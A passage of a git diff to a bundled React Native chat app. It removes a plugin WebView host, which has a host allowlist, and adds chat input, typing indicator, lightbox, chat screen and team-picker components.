1409
- _dbg('Bridge JS loaded. Waiting for plugin...');
1410
- true;
1411
- })();
1412
- `;
1472
+ // src/chat/TypingIndicator.tsx
1473
+ import { View as View8, StyleSheet as StyleSheet7 } from "react-native";
1474
+ import { AdaOrb as AdaOrb2 } from "@ateam-ai-mobile/plugin-runtime";
1475
+ import { jsx as jsx9 } from "react/jsx-runtime";
1476
+ function TypingIndicator() {
1477
+ return /* @__PURE__ */ jsx9(View8, { style: styles7.row, children: /* @__PURE__ */ jsx9(AdaOrb2, { size: 32, state: "thinking" }) });
1413
1478
  }
1479
+ var styles7 = StyleSheet7.create({
1480
+ row: {
1481
+ flexDirection: "row",
1482
+ alignItems: "center",
1483
+ marginBottom: 12,
1484
+ paddingHorizontal: 16,
1485
+ paddingVertical: 4
1486
+ }
1487
+ });
1414
1488
 
1415
- // src/plugin/EmbeddedPluginWebView.tsx
1416
- import { jsx as jsx9, jsxs as jsxs8 } from "react/jsx-runtime";
1417
- function EmbeddedPluginWebView({ pluginId, manifest, commandBufferRef }) {
1418
- const [error, setError] = useState5(null);
1419
- const token = getToken();
1420
- const tenant = getTenant2();
1421
- const { webViewRef, sendInit, handleMessage } = usePluginBridge(pluginId, manifest._connectorId, commandBufferRef);
1422
- const url = resolvePluginUrl(manifest, tenant || void 0);
1423
- const bridgeJS = buildPluginBridgeJS(token || "", tenant || "");
1424
- const allowedHosts = useMemo2(() => {
1425
- const hosts = /* @__PURE__ */ new Set();
1426
- const urls = [getCoreApiUrl()];
1427
- const voice = getConfig3().voiceUrl;
1428
- if (voice) urls.push(voice);
1429
- for (const u of urls) {
1430
- try {
1431
- hosts.add(new URL(u).hostname);
1432
- } catch {
1433
- }
1434
- }
1435
- return hosts;
1436
- }, []);
1437
- const isAllowedPluginUrl = useCallback5((rawUrl) => {
1438
- if (!rawUrl) return false;
1439
- let parsed;
1440
- try {
1441
- parsed = new URL(rawUrl);
1442
- } catch {
1443
- return false;
1489
+ // src/chat/ChatInput.tsx
1490
+ import { useState as useState5, useRef as useRef3, useCallback as useCallback4, useEffect as useEffect5 } from "react";
1491
+ import {
1492
+ View as View9,
1493
+ TextInput,
1494
+ Pressable as Pressable4,
1495
+ StyleSheet as StyleSheet8,
1496
+ Platform as Platform5
1497
+ } from "react-native";
1498
+ import Svg, { Path, Line, Polygon } from "react-native-svg";
1499
+ import { colors as colors2, borderRadius as borderRadius4 } from "@ateam-ai-mobile/core";
1500
+ import { getHaptics as getHaptics3 } from "@ateam-ai-mobile/plugin-runtime";
1501
+ import { jsx as jsx10, jsxs as jsxs7 } from "react/jsx-runtime";
1502
+ function ChatInput({ onSend, onCallStart, loading, prefill, placeholder }) {
1503
+ const [text, setText] = useState5("");
1504
+ const [height, setHeight] = useState5(40);
1505
+ const inputRef = useRef3(null);
1506
+ useEffect5(() => {
1507
+ if (prefill) {
1508
+ setText(prefill);
1509
+ inputRef.current?.focus();
1444
1510
  }
1445
- if (parsed.protocol !== "https:" && parsed.protocol !== "http:") return false;
1446
- if (parsed.protocol === "http:") return false;
1447
- return allowedHosts.has(parsed.hostname);
1448
- }, [allowedHosts]);
1449
- const originWhitelist = useMemo2(
1450
- () => Array.from(allowedHosts).map((h) => `https://${h}`),
1451
- [allowedHosts]
1452
- );
1453
- if (error) {
1454
- return /* @__PURE__ */ jsx9(View9, { style: styles9.center, children: /* @__PURE__ */ jsx9(Text6, { style: styles9.errorText, children: error }) });
1455
- }
1456
- return /* @__PURE__ */ jsx9(View9, { style: styles9.container, children: /* @__PURE__ */ jsx9(
1457
- WebView,
1458
- {
1459
- ref: webViewRef,
1460
- source: { uri: url },
1461
- style: styles9.webview,
1462
- javaScriptEnabled: true,
1463
- domStorageEnabled: true,
1464
- allowsInlineMediaPlayback: true,
1465
- mediaPlaybackRequiresUserAction: false,
1466
- mixedContentMode: "never",
1467
- originWhitelist,
1468
- allowsBackForwardNavigationGestures: false,
1469
- setSupportMultipleWindows: false,
1470
- javaScriptCanOpenWindowsAutomatically: false,
1471
- onShouldStartLoadWithRequest: (req) => {
1472
- if (!isAllowedPluginUrl(req.url)) {
1473
- console.warn(`[EmbeddedPluginWebView] BLOCKED nav to disallowed origin: ${req.url}`);
1474
- return false;
1475
- }
1476
- return true;
1477
- },
1478
- injectedJavaScriptBeforeContentLoaded: bridgeJS,
1479
- onMessage: handleMessage,
1480
- onLoad: () => {
1481
- setTimeout(sendInit, 100);
1482
- setTimeout(sendInit, 500);
1483
- setTimeout(sendInit, 1200);
1484
- },
1485
- onError: (syntheticEvent) => {
1486
- const { nativeEvent } = syntheticEvent;
1487
- console.warn("[EmbeddedPluginWebView] Error:", nativeEvent.description);
1488
- setError(`WebView error: ${nativeEvent.description}`);
1489
- },
1490
- onHttpError: (syntheticEvent) => {
1491
- const { nativeEvent } = syntheticEvent;
1492
- console.warn("[EmbeddedPluginWebView] HTTP error:", nativeEvent.statusCode, nativeEvent.url);
1493
- if (nativeEvent.statusCode >= 400) {
1494
- setError(`HTTP ${nativeEvent.statusCode}: Failed to load plugin`);
1511
+ }, [prefill]);
1512
+ const handleSend = useCallback4(() => {
1513
+ const trimmed = text.trim();
1514
+ if (!trimmed) return;
1515
+ getHaptics3()?.impact("light");
1516
+ onSend(trimmed);
1517
+ setText("");
1518
+ setHeight(40);
1519
+ }, [text, loading, onSend]);
1520
+ const canSend = text.trim().length > 0;
1521
+ return /* @__PURE__ */ jsx10(View9, { style: styles8.dock, children: /* @__PURE__ */ jsxs7(View9, { style: styles8.inputRow, children: [
1522
+ onCallStart && /* @__PURE__ */ jsx10(Pressable4, { style: styles8.callBtn, onPress: onCallStart, children: /* @__PURE__ */ jsx10(Svg, { width: 20, height: 20, viewBox: "0 0 24 24", fill: "none", stroke: colors2.light.accent, strokeWidth: 2, strokeLinecap: "round", strokeLinejoin: "round", children: /* @__PURE__ */ jsx10(Path, { d: "M22 16.92v3a2 2 0 01-2.18 2 19.79 19.79 0 01-8.63-3.07 19.5 19.5 0 01-6-6 19.79 19.79 0 01-3.07-8.63A2 2 0 014.11 2h3a2 2 0 012 1.72 12.84 12.84 0 00.7 2.81 2 2 0 01-.45 2.11L8.09 9.91a16 16 0 006 6l1.27-1.27a2 2 0 012.11-.45 12.84 12.84 0 002.81.7A2 2 0 0122 16.92z" }) }) }),
1523
+ /* @__PURE__ */ jsx10(
1524
+ TextInput,
1525
+ {
1526
+ ref: inputRef,
1527
+ style: [styles8.input, { height: Math.min(Math.max(40, height), 120) }],
1528
+ value: text,
1529
+ onChangeText: setText,
1530
+ onContentSizeChange: (e) => setHeight(e.nativeEvent.contentSize.height),
1531
+ placeholder: placeholder || "Message A-Team...",
1532
+ placeholderTextColor: colors2.light.textMuted,
1533
+ multiline: true,
1534
+ returnKeyType: "default",
1535
+ blurOnSubmit: false,
1536
+ onSubmitEditing: () => {
1537
+ if (Platform5.OS === "web") handleSend();
1495
1538
  }
1496
- },
1497
- startInLoadingState: true,
1498
- renderLoading: () => /* @__PURE__ */ jsxs8(View9, { style: styles9.webviewLoading, children: [
1499
- /* @__PURE__ */ jsx9(ActivityIndicator, { size: "small", color: ada6.orange }),
1500
- /* @__PURE__ */ jsx9(Text6, { style: styles9.loadingText, children: "Loading plugin..." })
1501
- ] }),
1502
- ...Platform6.OS === "ios" ? { bounces: false } : {}
1503
- }
1504
- ) });
1539
+ }
1540
+ ),
1541
+ /* @__PURE__ */ jsx10(
1542
+ Pressable4,
1543
+ {
1544
+ style: [styles8.sendBtn, canSend && styles8.sendBtnActive],
1545
+ onPress: handleSend,
1546
+ disabled: !canSend,
1547
+ children: /* @__PURE__ */ jsxs7(Svg, { width: 18, height: 18, viewBox: "0 0 24 24", fill: "none", stroke: canSend ? "#fff" : colors2.light.textMuted, strokeWidth: 2, children: [
1548
+ /* @__PURE__ */ jsx10(Line, { x1: "22", y1: "2", x2: "11", y2: "13" }),
1549
+ /* @__PURE__ */ jsx10(Polygon, { points: "22 2 15 22 11 13 2 9 22 2" })
1550
+ ] })
1551
+ }
1552
+ )
1553
+ ] }) });
1505
1554
  }
1506
- var styles9 = StyleSheet9.create({
1507
- container: {
1508
- flex: 1,
1509
- backgroundColor: ada6.paper
1555
+ var styles8 = StyleSheet8.create({
1556
+ dock: {
1557
+ paddingHorizontal: 12,
1558
+ paddingVertical: 8,
1559
+ backgroundColor: colors2.light.bgPrimary,
1560
+ borderTopWidth: 0.5,
1561
+ borderTopColor: colors2.light.border
1510
1562
  },
1511
- center: {
1512
- flex: 1,
1513
- justifyContent: "center",
1514
- alignItems: "center",
1515
- backgroundColor: ada6.paper,
1516
- paddingHorizontal: 32
1563
+ inputRow: {
1564
+ flexDirection: "row",
1565
+ alignItems: "flex-end",
1566
+ backgroundColor: colors2.light.bgInput,
1567
+ borderRadius: borderRadius4.xl,
1568
+ borderWidth: 1,
1569
+ borderColor: colors2.light.border,
1570
+ paddingHorizontal: 4,
1571
+ paddingVertical: 4,
1572
+ gap: 4
1517
1573
  },
1518
- errorText: {
1519
- color: "#C15545",
1520
- fontSize: 16,
1521
- textAlign: "center"
1574
+ callBtn: {
1575
+ width: 36,
1576
+ height: 36,
1577
+ borderRadius: 18,
1578
+ justifyContent: "center",
1579
+ alignItems: "center"
1522
1580
  },
1523
- webview: {
1581
+ input: {
1524
1582
  flex: 1,
1525
- backgroundColor: ada6.paper
1583
+ fontSize: 16,
1584
+ color: colors2.light.textPrimary,
1585
+ paddingHorizontal: 8,
1586
+ paddingVertical: 8,
1587
+ maxHeight: 120
1526
1588
  },
1527
- webviewLoading: {
1528
- position: "absolute",
1529
- top: 0,
1530
- left: 0,
1531
- right: 0,
1532
- bottom: 0,
1589
+ sendBtn: {
1590
+ width: 36,
1591
+ height: 36,
1592
+ borderRadius: 18,
1533
1593
  justifyContent: "center",
1534
1594
  alignItems: "center",
1535
- backgroundColor: ada6.paper,
1536
- gap: 12
1595
+ backgroundColor: colors2.light.bgTertiary
1537
1596
  },
1538
- loadingText: {
1539
- color: ada6.inkSoft,
1540
- fontSize: 14
1597
+ sendBtnActive: {
1598
+ backgroundColor: colors2.light.accent
1541
1599
  }
1542
1600
  });
1543
1601
 
1544
- // src/plugin/Plugin.tsx
1545
- import { jsx as jsx10, jsxs as jsxs9 } from "react/jsx-runtime";
1546
- var PluginErrorBoundary = class extends React.Component {
1547
- constructor() {
1548
- super(...arguments);
1549
- this.state = { hasError: false, error: null };
1550
- }
1551
- static getDerivedStateFromError(error) {
1552
- return { hasError: true, error };
1553
- }
1554
- componentDidCatch(error, info) {
1555
- console.error(`[Plugin:${this.props.pluginId}] Crash:`, error, info.componentStack);
1602
+ // src/Lightbox.tsx
1603
+ import { Modal, View as View10, Image as Image2, Pressable as Pressable5, Text as Text7, StyleSheet as StyleSheet9 } from "react-native";
1604
+ import { getConfig as getConfig3 } from "@ateam-ai-mobile/core";
1605
+ import { jsx as jsx11, jsxs as jsxs8 } from "react/jsx-runtime";
1606
+ function Lightbox() {
1607
+ const uri = useLightboxStore((s) => s.uri);
1608
+ const hide = useLightboxStore((s) => s.hide);
1609
+ if (!uri) return null;
1610
+ return /* @__PURE__ */ jsx11(Modal, { visible: true, transparent: true, animationType: "fade", onRequestClose: hide, children: /* @__PURE__ */ jsxs8(Pressable5, { style: styles9.backdrop, onPress: hide, children: [
1611
+ /* @__PURE__ */ jsx11(
1612
+ Image2,
1613
+ {
1614
+ source: {
1615
+ uri,
1616
+ ...uri.startsWith("http") ? {
1617
+ headers: { Authorization: `Bearer ${getConfig3().tokenProvider.getToken()}` }
1618
+ } : {}
1619
+ },
1620
+ style: styles9.image,
1621
+ resizeMode: "contain"
1622
+ }
1623
+ ),
1624
+ /* @__PURE__ */ jsx11(View10, { style: styles9.closeHint, children: /* @__PURE__ */ jsx11(Text7, { style: styles9.closeHintText, children: "Tap to close" }) })
1625
+ ] }) });
1626
+ }
1627
+ var styles9 = StyleSheet9.create({
1628
+ backdrop: {
1629
+ flex: 1,
1630
+ backgroundColor: "rgba(0,0,0,0.92)",
1631
+ justifyContent: "center"
1632
+ },
1633
+ image: {
1634
+ width: "100%",
1635
+ height: "85%"
1636
+ },
1637
+ closeHint: {
1638
+ position: "absolute",
1639
+ bottom: 40,
1640
+ alignSelf: "center"
1641
+ },
1642
+ closeHintText: {
1643
+ color: "rgba(255,255,255,0.6)",
1644
+ fontSize: 13
1556
1645
  }
1557
- render() {
1558
- if (this.state.hasError) {
1559
- return /* @__PURE__ */ jsxs9(View10, { style: styles10.error, children: [
1560
- /* @__PURE__ */ jsx10(Text7, { style: styles10.errorTitle, children: "Plugin Error" }),
1561
- /* @__PURE__ */ jsx10(Text7, { style: styles10.errorMessage, children: this.state.error?.message || "An unexpected error occurred" }),
1562
- /* @__PURE__ */ jsx10(
1563
- Pressable5,
1646
+ });
1647
+
1648
+ // src/AdasChatScreen.tsx
1649
+ import { jsx as jsx12, jsxs as jsxs9 } from "react/jsx-runtime";
1650
+ function isSameDay2(a, b) {
1651
+ return a.getFullYear() === b.getFullYear() && a.getMonth() === b.getMonth() && a.getDate() === b.getDate();
1652
+ }
1653
+ function AdasChatScreen({
1654
+ onCallStart,
1655
+ placeholder,
1656
+ footerAccessory,
1657
+ withLightbox = true
1658
+ }) {
1659
+ const messages = useChatStore((s) => s.messages);
1660
+ const loading = useChatStore((s) => s.loading);
1661
+ const conversationLoaded = useChatStore((s) => s.conversationLoaded);
1662
+ const loadConversation = useChatStore((s) => s.loadConversation);
1663
+ const sendMessage = useChatStore((s) => s.sendMessage);
1664
+ const listRef = useRef4(null);
1665
+ const [refreshing, setRefreshing] = useState6(false);
1666
+ const [prefill, setPrefill] = useState6("");
1667
+ useEffect6(() => {
1668
+ if (!conversationLoaded) loadConversation();
1669
+ }, [conversationLoaded, loadConversation]);
1670
+ useEffect6(() => {
1671
+ const unsub = pluginCommandEmitter3.on("prepare-chat-message", ({ text }) => {
1672
+ if (text) setPrefill(text);
1673
+ });
1674
+ return unsub;
1675
+ }, []);
1676
+ const useInverted = Platform6.OS !== "web";
1677
+ const listData = useMemo3(
1678
+ () => useInverted ? [...messages].reverse() : messages,
1679
+ [messages, useInverted]
1680
+ );
1681
+ const scrollToLatest = useCallback5((animated) => {
1682
+ if (useInverted) listRef.current?.scrollToOffset({ offset: 0, animated });
1683
+ else listRef.current?.scrollToEnd({ animated });
1684
+ }, [useInverted]);
1685
+ const handleSend = useCallback5((text) => {
1686
+ setPrefill("");
1687
+ sendMessage(text);
1688
+ scrollToLatest(true);
1689
+ }, [sendMessage, scrollToLatest]);
1690
+ const handleRefresh = useCallback5(async () => {
1691
+ setRefreshing(true);
1692
+ try {
1693
+ await loadConversation();
1694
+ } catch {
1695
+ }
1696
+ setRefreshing(false);
1697
+ }, [loadConversation]);
1698
+ const renderItem = useCallback5(({ item, index }) => {
1699
+ const older = useInverted ? listData[index + 1] : listData[index - 1];
1700
+ const showDaySep = !older || !isSameDay2(older.timestamp, item.timestamp);
1701
+ return /* @__PURE__ */ jsxs9(View11, { children: [
1702
+ showDaySep && /* @__PURE__ */ jsx12(DaySeparator, { date: item.timestamp }),
1703
+ /* @__PURE__ */ jsx12(MessageBubble, { message: item })
1704
+ ] });
1705
+ }, [listData, useInverted]);
1706
+ const typingIndicator = loading && !(useInverted ? listData[0] : listData[listData.length - 1])?.jobProgress ? /* @__PURE__ */ jsx12(TypingIndicator, {}) : null;
1707
+ return /* @__PURE__ */ jsxs9(
1708
+ KeyboardAvoidingView,
1709
+ {
1710
+ style: styles10.root,
1711
+ behavior: Platform6.OS === "ios" ? "padding" : void 0,
1712
+ children: [
1713
+ /* @__PURE__ */ jsx12(
1714
+ FlatList,
1564
1715
  {
1565
- style: styles10.retryBtn,
1566
- onPress: () => this.setState({ hasError: false, error: null }),
1567
- children: /* @__PURE__ */ jsx10(Text7, { style: styles10.retryText, children: "Retry" })
1716
+ ref: listRef,
1717
+ style: styles10.list,
1718
+ data: listData,
1719
+ inverted: useInverted,
1720
+ keyExtractor: (m) => m.id,
1721
+ renderItem,
1722
+ ListHeaderComponent: useInverted ? typingIndicator : null,
1723
+ ListFooterComponent: useInverted ? null : typingIndicator,
1724
+ onContentSizeChange: useInverted ? void 0 : () => scrollToLatest(false),
1725
+ refreshControl: /* @__PURE__ */ jsx12(RefreshControl, { refreshing, onRefresh: handleRefresh, tintColor: ada7.orange }),
1726
+ keyboardShouldPersistTaps: "handled",
1727
+ contentContainerStyle: styles10.listContent
1568
1728
  }
1569
- )
1570
- ] });
1729
+ ),
1730
+ footerAccessory,
1731
+ /* @__PURE__ */ jsx12(
1732
+ ChatInput,
1733
+ {
1734
+ onSend: handleSend,
1735
+ onCallStart,
1736
+ loading,
1737
+ prefill,
1738
+ placeholder
1739
+ }
1740
+ ),
1741
+ withLightbox && /* @__PURE__ */ jsx12(Lightbox, {}),
1742
+ /* @__PURE__ */ jsx12(WidgetHost, {})
1743
+ ]
1571
1744
  }
1572
- return this.props.children;
1573
- }
1574
- };
1575
- function Plugin({ id, manifest, commandBufferRef, props: engineProps }) {
1576
- const { plugin, loading, error, bundleMissing } = usePlugin(id, manifest);
1577
- const connectorId = id.startsWith("mcp:") ? id.split(":")[1] : manifest._connectorId;
1578
- const bridge = useNativeBridge(id, connectorId, commandBufferRef);
1579
- const native = getPluginNative();
1580
- const theme = usePluginTheme();
1581
- const user = getUser();
1582
- const context = useMemo3(() => ({
1583
- tenant: getTenant3(),
1584
- pluginId: id,
1585
- connectorId,
1586
- user: user ? { id: user.actorId || "", name: user.name || "", roles: [] } : void 0
1587
- }), [id, connectorId, user?.actorId, user?.name]);
1588
- const iframeUrl = manifest?.render?.iframeUrl;
1589
- if (bundleMissing && iframeUrl) {
1590
- return /* @__PURE__ */ jsx10(EmbeddedPluginWebView, { pluginId: id, manifest, commandBufferRef });
1591
- }
1592
- if (loading) {
1593
- return /* @__PURE__ */ jsxs9(View10, { style: styles10.center, children: [
1594
- /* @__PURE__ */ jsx10(ActivityIndicator2, { size: "small", color: colors2.dark.accent }),
1595
- /* @__PURE__ */ jsx10(Text7, { style: styles10.loadingText, children: "Loading plugin..." })
1596
- ] });
1597
- }
1598
- if (error || !plugin) {
1599
- return /* @__PURE__ */ jsx10(View10, { style: styles10.center, children: /* @__PURE__ */ jsx10(Text7, { style: styles10.errorMessage, children: error || "Plugin not found" }) });
1600
- }
1601
- const { Component } = plugin;
1602
- return /* @__PURE__ */ jsx10(PluginErrorBoundary, { pluginId: id, children: /* @__PURE__ */ jsx10(Component, { bridge, native, theme, context, props: engineProps }) });
1745
+ );
1603
1746
  }
1604
1747
  var styles10 = StyleSheet10.create({
1605
- center: {
1606
- flex: 1,
1607
- justifyContent: "center",
1608
- alignItems: "center",
1609
- backgroundColor: colors2.dark.bgPrimary,
1610
- paddingHorizontal: 32,
1611
- gap: 12
1612
- },
1613
- loadingText: {
1614
- color: colors2.dark.textSecondary,
1615
- fontSize: 14
1616
- },
1617
- error: {
1748
+ root: {
1618
1749
  flex: 1,
1619
- justifyContent: "center",
1620
- alignItems: "center",
1621
- backgroundColor: colors2.dark.bgPrimary,
1622
- paddingHorizontal: 32,
1623
- gap: 8
1624
- },
1625
- errorTitle: {
1626
- color: colors2.dark.red,
1627
- fontSize: 16,
1628
- fontWeight: "600"
1629
- },
1630
- errorMessage: {
1631
- color: colors2.dark.textSecondary,
1632
- fontSize: 14,
1633
- textAlign: "center"
1750
+ backgroundColor: ada7.paper
1634
1751
  },
1635
- retryBtn: {
1636
- marginTop: 12,
1637
- paddingHorizontal: 20,
1638
- paddingVertical: 10,
1639
- backgroundColor: colors2.dark.accentSoft,
1640
- borderRadius: 8
1752
+ list: {
1753
+ flex: 1
1641
1754
  },
1642
- retryText: {
1643
- color: colors2.dark.accent,
1644
- fontSize: 14,
1645
- fontWeight: "600"
1755
+ listContent: {
1756
+ paddingVertical: 12
1646
1757
  }
1647
1758
  });
1648
1759
 
1649
- // src/plugin/PluginSurface.tsx
1650
- import { useEffect as useEffect5, useState as useState6 } from "react";
1651
- import { View as View11, ActivityIndicator as ActivityIndicator3 } from "react-native";
1652
- import { ada as ada7 } from "@ateam-ai-mobile/core";
1653
- import {
1654
- getPlugin,
1655
- SurfaceDrawer,
1656
- SurfaceFullscreen
1657
- } from "@ateam-ai-mobile/plugin-runtime";
1658
- import { jsx as jsx11 } from "react/jsx-runtime";
1659
- function PluginSurface({ pluginId, surface, dismiss, props }) {
1660
- const [manifest, setManifest] = useState6(null);
1661
- const [error, setError] = useState6(null);
1662
- useEffect5(() => {
1663
- let cancelled = false;
1664
- getPlugin(pluginId).then((m) => {
1665
- if (!cancelled) m ? setManifest(m) : setError("Plugin not found");
1666
- }).catch((e) => {
1667
- if (!cancelled) setError(e?.message || "Failed to load");
1668
- });
1669
- return () => {
1670
- cancelled = true;
1671
- };
1672
- }, [pluginId]);
1673
- const body = manifest ? /* @__PURE__ */ jsx11(Plugin, { id: pluginId, manifest, props }) : /* @__PURE__ */ jsx11(View11, { style: { flex: 1, justifyContent: "center", alignItems: "center", padding: 24 }, children: error ? null : /* @__PURE__ */ jsx11(ActivityIndicator3, { color: ada7.orange }) });
1674
- if (surface.type === "fullscreen") {
1675
- return /* @__PURE__ */ jsx11(
1676
- SurfaceFullscreen,
1677
- {
1678
- visible: true,
1679
- onClose: dismiss,
1680
- status: surface.title,
1681
- showWordmark: true,
1682
- closeIcon: "x",
1683
- closeLabel: "Close",
1684
- children: body
1685
- }
1686
- );
1687
- }
1688
- return /* @__PURE__ */ jsx11(
1689
- SurfaceDrawer,
1690
- {
1691
- visible: true,
1692
- onClose: dismiss,
1693
- title: surface.title || pluginId,
1694
- subtitle: surface.subtitle,
1695
- privacy: !!surface.privacy,
1696
- children: body
1697
- }
1698
- );
1699
- }
1700
-
1701
1760
  // src/widgets/WidgetWebView.tsx
1702
1761
  import { useMemo as useMemo4, useState as useState7 } from "react";
1703
1762
  import {
@@ -1712,7 +1771,7 @@ import {
1712
1771
  import { WebView as WebView2 } from "react-native-webview";
1713
1772
  import { ada as ada8 } from "@ateam-ai-mobile/core";
1714
1773
  import { getCoreApiUrl as getCoreApiUrl2 } from "@ateam-ai-mobile/core";
1715
- import { Fragment as Fragment2, jsx as jsx12, jsxs as jsxs10 } from "react/jsx-runtime";
1774
+ import { Fragment as Fragment2, jsx as jsx13, jsxs as jsxs10 } from "react/jsx-runtime";
1716
1775
  var fontFam4 = Platform7.OS === "ios" ? "SF Pro Rounded" : void 0;
1717
1776
  function WidgetWebView({ visible, title, bundleUrl, onClose }) {
1718
1777
  const [loading, setLoading] = useState7(true);
@@ -1722,7 +1781,7 @@ function WidgetWebView({ visible, title, bundleUrl, onClose }) {
1722
1781
  if (/^https?:\/\//i.test(bundleUrl)) return bundleUrl;
1723
1782
  return `${getCoreApiUrl2()}${bundleUrl}`;
1724
1783
  }, [bundleUrl]);
1725
- return /* @__PURE__ */ jsx12(
1784
+ return /* @__PURE__ */ jsx13(
1726
1785
  Modal2,
1727
1786
  {
1728
1787
  visible,
@@ -1731,15 +1790,15 @@ function WidgetWebView({ visible, title, bundleUrl, onClose }) {
1731
1790
  onRequestClose: onClose,
1732
1791
  children: /* @__PURE__ */ jsxs10(View12, { style: styles11.root, children: [
1733
1792
  /* @__PURE__ */ jsxs10(View12, { style: styles11.bar, children: [
1734
- /* @__PURE__ */ jsx12(Pressable6, { onPress: onClose, hitSlop: 12, style: styles11.closeBtn, children: /* @__PURE__ */ jsx12(Text8, { style: styles11.closeIcon, children: "\u2715" }) }),
1735
- /* @__PURE__ */ jsx12(Text8, { style: styles11.title, numberOfLines: 1, children: title || "Widget" }),
1736
- /* @__PURE__ */ jsx12(View12, { style: styles11.closeBtn })
1793
+ /* @__PURE__ */ jsx13(Pressable6, { onPress: onClose, hitSlop: 12, style: styles11.closeBtn, children: /* @__PURE__ */ jsx13(Text8, { style: styles11.closeIcon, children: "\u2715" }) }),
1794
+ /* @__PURE__ */ jsx13(Text8, { style: styles11.title, numberOfLines: 1, children: title || "Widget" }),
1795
+ /* @__PURE__ */ jsx13(View12, { style: styles11.closeBtn })
1737
1796
  ] }),
1738
- !uri ? /* @__PURE__ */ jsx12(View12, { style: styles11.errorWrap, children: /* @__PURE__ */ jsx12(Text8, { style: styles11.errorText, children: "No bundle available for this widget." }) }) : error ? /* @__PURE__ */ jsxs10(View12, { style: styles11.errorWrap, children: [
1739
- /* @__PURE__ */ jsx12(Text8, { style: styles11.errorText, children: "Couldn't load widget" }),
1740
- /* @__PURE__ */ jsx12(Text8, { style: styles11.errorSub, children: error })
1797
+ !uri ? /* @__PURE__ */ jsx13(View12, { style: styles11.errorWrap, children: /* @__PURE__ */ jsx13(Text8, { style: styles11.errorText, children: "No bundle available for this widget." }) }) : error ? /* @__PURE__ */ jsxs10(View12, { style: styles11.errorWrap, children: [
1798
+ /* @__PURE__ */ jsx13(Text8, { style: styles11.errorText, children: "Couldn't load widget" }),
1799
+ /* @__PURE__ */ jsx13(Text8, { style: styles11.errorSub, children: error })
1741
1800
  ] }) : /* @__PURE__ */ jsxs10(Fragment2, { children: [
1742
- /* @__PURE__ */ jsx12(
1801
+ /* @__PURE__ */ jsx13(
1743
1802
  WebView2,
1744
1803
  {
1745
1804
  source: { uri },
@@ -1761,7 +1820,7 @@ function WidgetWebView({ visible, title, bundleUrl, onClose }) {
1761
1820
  setSupportMultipleWindows: false
1762
1821
  }
1763
1822
  ),
1764
- loading && /* @__PURE__ */ jsx12(View12, { pointerEvents: "none", style: styles11.spinner, children: /* @__PURE__ */ jsx12(ActivityIndicator4, { color: ada8.orange }) })
1823
+ loading && /* @__PURE__ */ jsx13(View12, { pointerEvents: "none", style: styles11.spinner, children: /* @__PURE__ */ jsx13(ActivityIndicator4, { color: ada8.orange }) })
1765
1824
  ] })
1766
1825
  ] })
1767
1826
  }
@@ -1830,6 +1889,596 @@ var styles11 = StyleSheet11.create({
1830
1889
  textAlign: "center"
1831
1890
  }
1832
1891
  });
1892
+
1893
+ // src/TenantPicker.tsx
1894
+ import { useEffect as useEffect7, useState as useState8 } from "react";
1895
+ import { View as View13, Text as Text9, Pressable as Pressable7, ActivityIndicator as ActivityIndicator5, StyleSheet as StyleSheet12, Platform as Platform8 } from "react-native";
1896
+ import { ada as ada9, fontSize as fontSize5, borderRadius as borderRadius5, listMyTenants, getTenant as getTenant4 } from "@ateam-ai-mobile/core";
1897
+ import { jsx as jsx14, jsxs as jsxs11 } from "react/jsx-runtime";
1898
+ var fontFam5 = Platform8.OS === "ios" ? "SF Pro Rounded" : void 0;
1899
+ function TenantPicker({ onSelect, currentTenantId }) {
1900
+ const [tenants, setTenants] = useState8(null);
1901
+ const [error, setError] = useState8(null);
1902
+ const active = currentTenantId ?? getTenant4();
1903
+ useEffect7(() => {
1904
+ let cancelled = false;
1905
+ listMyTenants().then((list) => {
1906
+ if (!cancelled) setTenants(list);
1907
+ }).catch((e) => {
1908
+ if (!cancelled) setError(e?.message || "Failed to load teams");
1909
+ });
1910
+ return () => {
1911
+ cancelled = true;
1912
+ };
1913
+ }, []);
1914
+ if (error) return /* @__PURE__ */ jsx14(Text9, { style: styles12.error, children: error });
1915
+ if (!tenants) {
1916
+ return /* @__PURE__ */ jsx14(View13, { style: styles12.loading, children: /* @__PURE__ */ jsx14(ActivityIndicator5, { color: ada9.orange }) });
1917
+ }
1918
+ if (tenants.length === 0) return /* @__PURE__ */ jsx14(Text9, { style: styles12.empty, children: "No teams found for this account." });
1919
+ return /* @__PURE__ */ jsx14(View13, { style: styles12.list, children: tenants.map((t) => {
1920
+ const isActive = t.id === active;
1921
+ return /* @__PURE__ */ jsxs11(
1922
+ Pressable7,
1923
+ {
1924
+ accessibilityRole: "button",
1925
+ accessibilityLabel: `Team ${t.name}${isActive ? ", current" : ""}`,
1926
+ onPress: () => onSelect(t),
1927
+ style: [styles12.row, isActive && styles12.rowActive],
1928
+ children: [
1929
+ /* @__PURE__ */ jsx14(View13, { style: styles12.dot }),
1930
+ /* @__PURE__ */ jsxs11(View13, { style: styles12.rowText, children: [
1931
+ /* @__PURE__ */ jsx14(Text9, { style: styles12.name, children: t.name }),
1932
+ /* @__PURE__ */ jsx14(Text9, { style: styles12.slug, children: t.id })
1933
+ ] }),
1934
+ isActive && /* @__PURE__ */ jsx14(Text9, { style: styles12.check, children: "\u2713" })
1935
+ ]
1936
+ },
1937
+ t.id
1938
+ );
1939
+ }) });
1940
+ }
1941
+ var styles12 = StyleSheet12.create({
1942
+ list: {
1943
+ gap: 10
1944
+ },
1945
+ row: {
1946
+ flexDirection: "row",
1947
+ alignItems: "center",
1948
+ gap: 12,
1949
+ backgroundColor: ada9.paperSoft,
1950
+ borderRadius: borderRadius5.lg,
1951
+ borderWidth: 1,
1952
+ borderColor: "transparent",
1953
+ paddingHorizontal: 16,
1954
+ paddingVertical: 14
1955
+ },
1956
+ rowActive: {
1957
+ backgroundColor: ada9.orangeSoft,
1958
+ borderColor: ada9.orange
1959
+ },
1960
+ dot: {
1961
+ width: 10,
1962
+ height: 10,
1963
+ borderRadius: 5,
1964
+ backgroundColor: ada9.orange
1965
+ },
1966
+ rowText: {
1967
+ flex: 1
1968
+ },
1969
+ name: {
1970
+ color: ada9.ink,
1971
+ fontSize: fontSize5.lg,
1972
+ fontWeight: "600",
1973
+ fontFamily: fontFam5
1974
+ },
1975
+ slug: {
1976
+ color: ada9.inkMuted,
1977
+ fontSize: fontSize5.sm,
1978
+ fontFamily: "monospace"
1979
+ },
1980
+ check: {
1981
+ color: ada9.orangeDeep,
1982
+ fontSize: fontSize5.lg,
1983
+ fontWeight: "700"
1984
+ },
1985
+ loading: {
1986
+ paddingVertical: 24,
1987
+ alignItems: "center"
1988
+ },
1989
+ empty: {
1990
+ color: ada9.inkMuted,
1991
